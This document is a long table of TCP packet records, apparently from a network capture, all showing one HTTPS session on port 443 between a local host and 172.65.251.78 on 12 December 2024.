Dec 12, 2024 12:59:29.986150980 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.986166000 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.986175060 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.986274958 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.993382931 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.993428946 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.993520021 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.993520021 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.993529081 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.994024992 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.000509977 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.000552893 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.000638008 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.000638008 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.000657082 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.000735998 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.006752968 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.006766081 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.006947994 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.006956100 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.007158041 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.014086008 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.014105082 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.014238119 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.014245987 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.014408112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.021258116 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.021271944 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.021362066 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.021370888 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.021615982 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.028322935 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.028369904 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.028414011 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.028438091 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.028486013 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.029576063 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.035562038 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.035604000 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.035712004 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.035712004 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.035728931 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.036298990 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.178040028 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.178066969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.178231001 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.178253889 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.178572893 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.185100079 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.185125113 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.185199976 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.185199976 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.185208082 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.185319901 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.192509890 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.192537069 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.192615032 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.192615032 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.192630053 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.192707062 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.197669029 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.197710991 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.197743893 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.197760105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.197834969 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.204057932 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.204085112 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.204155922 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.204155922 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.204164982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.208164930 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.208364010 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.208374977 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.211812019 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.211869955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.211879015 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.218252897 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.218278885 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.218362093 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.218362093 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.218373060 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.223206043 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.223403931 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.223417044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.228724957 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.228743076 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.228828907 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.228828907 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.228843927 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.274832010 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.372065067 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.372090101 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.372265100 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.372279882 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.372805119 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.379412889 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.379435062 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.379550934 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.379560947 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.379775047 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.385976076 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.385992050 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.386157036 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.386166096 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.387336969 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.393201113 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.393218040 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.393387079 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.393394947 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.393486977 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.400304079 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.400324106 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.400444984 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.400460958 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.400830984 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.407196045 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.407217026 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.407269955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.407278061 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.407320023 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.407447100 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.414725065 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.414741993 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.414799929 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.414807081 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.415061951 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.420870066 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.420892000 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.421082020 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.421097994 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.421180964 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.563935995 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.563962936 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.564064026 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.564064026 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.564078093 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.564124107 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.571146011 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.571166039 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.571274996 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.571283102 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.571414948 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.578428030 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.578453064 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.578532934 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.578532934 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.578541040 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.578618050 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.584836006 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.584861040 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.584922075 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.584922075 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.584928989 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.585078955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.592258930 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.592276096 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.592358112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.592367887 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.592444897 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.598990917 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.599016905 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.599096060 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.599096060 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.599104881 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.599234104 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.606412888 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.606431007 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.606585026 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.606595039 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.606729031 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.613545895 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.613571882 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.613918066 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.613929987 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.618201017 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.774493933 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.774518967 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.774604082 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.774624109 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.774790049 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.781752110 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.781769037 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.781902075 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.781914949 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.781961918 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.788986921 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.789004087 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.789068937 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.789077044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.789218903 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.795384884 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.795408964 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.795465946 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.795473099 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.795506954 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.795506954 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.803246021 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.803267002 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.803335905 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.803345919 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.803354979 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.803456068 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.809761047 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.809782982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.809839010 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.809844971 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.809879065 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.809896946 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.816891909 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.816912889 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.816956043 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.816962957 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.817004919 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.817004919 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.824474096 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.824496984 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.824554920 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.824562073 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.824656010 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.967428923 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.967459917 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.967554092 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.967554092 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.967566013 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.967624903 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.968398094 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.968465090 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.975881100 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.975907087 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.976038933 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.976047993 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.982949972 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.982980967 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.983079910 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.983079910 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.983088017 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.990293026 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.990315914 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.990413904 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.990423918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.997210979 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.997237921 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.997270107 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:30.997282028 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:30.997298956 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.003557920 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.003581047 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.003657103 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.003657103 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.003664017 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.010869980 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.010900021 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.010932922 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.010950089 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.010967016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.052891016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.154532909 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.154557943 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.154670954 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.154670954 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.154685974 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.154752970 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.161070108 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.161097050 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.161179066 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.161186934 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.161196947 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.161267996 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.168375969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.168401003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.168483973 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.168492079 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.168534040 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.168534040 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.175548077 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.175575018 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.175678015 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.175688982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.175738096 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.182092905 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.182112932 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.182199955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.182207108 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.182307005 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.188688993 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.188710928 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.188791037 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.188807011 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.188884974 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.196099043 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.196146965 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.196245909 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.196245909 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.196255922 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.196305990 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.203262091 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.203280926 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.203332901 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.203341961 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.203401089 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.347043037 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.347098112 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.347332954 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.347357988 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.351330042 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.353390932 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.353408098 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.353840113 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.353849888 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.357918978 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.361072063 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.361088037 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.361180067 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.361188889 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.362204075 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.367158890 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.367175102 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.367280960 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.367291927 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.369965076 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.374584913 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.374602079 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.374730110 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.374739885 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.376202106 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.381263018 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.381280899 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.381439924 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.381447077 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.381947994 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.388578892 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.388595104 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.388725996 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.388734102 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.390085936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.395800114 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.395817041 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.395889044 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:31.395895004 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:31.397788048 CET	49878	443	192.168.2.6	172.65.251.78
